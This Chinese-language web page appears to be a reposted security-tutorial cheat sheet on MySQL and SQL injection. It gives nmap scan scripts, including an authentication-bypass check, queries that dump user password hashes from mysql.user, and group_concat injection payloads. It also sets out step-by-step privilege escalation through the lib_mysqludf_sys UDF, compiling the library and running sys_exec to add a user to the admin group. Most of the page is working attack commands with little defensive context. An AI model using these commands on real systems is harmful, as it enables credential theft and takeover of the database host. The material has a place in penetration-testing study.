1. 首页
  2. 网络安全教程

SQL注入及数据库学习资料分享

SQL注入及数据库学习资料分享

Mysql 学习基础

使用 nmap 对 mysql 数据库进行扫描

nmap –script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse -p 3306

与 mysql 数据库相关的重要文件

~/.mysql_history

mysqli_connect.php

使用 mysql 的常用命令

连接数据库:

mysql -h <ip> -P <port> -u <user> -p <password>

列出数据库:

show databases;

选择数据库:

use <database>

列出表名:

show tables;

使用系统表,查询用户:

use mysql;

select * from user;

获取当前用户的权限:

show grants;

在获取 mysql 基本信息时用到的小技巧

获取版本信息:

select @@version

获取当前用户:

select user(); select system_user()

获取当前数据库:

select database()

获取主机名:

select @@hostname

获取数据库文件路径:

select @@datadir

列出用户的账号密码哈希:

select host, user, password from mysql.user

查询所有内容通过一个字符串列出:

select group_concat(name separator %27,%27) from users

select group_concat(cast(uid as char(50)) separator %27,%27) from users

将文件的权限赋予指定用户

GRANT FILE ON . TO ”@’localhost’

扩展学习:

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

如何执行系统命令

http://www.iodigitalsec.com/mysql-root-to-system-root-with-udf-for-windows-and-linux/

1、检查文件 /usr/lib/lib_mysqludf_sys.so 是否存在:

whereis lib_mysqludf_sys.so

2、如果存在:

mysql -u root -p … mysql> select sys_exec(”);

sys_exec 执行完返回退出状态

sys_eval 返回标准输出

3、增加用户到管理员组:

mysql> select sys_exec(‘usermod -a -G admin <user>’);

4、如果用户有权限,则复制文件: lib_mysqludf_sys.so 到 /usr/lib/ 目录下

5、如何编译 lib_mysqludf_sys.so :

git clone https://github.com/mysqludf/lib_mysqludf_sys

gcc -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o ./lib_mysqludf_sys.so

文章来源:【安全时代】 原文链接:https://www.agesec.com/video/5789.html

安全时代全部内容仅适用于网络安全技术爱好者学习研究,学习中请遵循国家相关法律法规。

安全时代全部数据来源互联网,不代表安全时代立场,如侵犯您权益可邮箱联系我们,详情:版权纠纷

发表评论

电子邮件地址不会被公开。 必填项已用*标注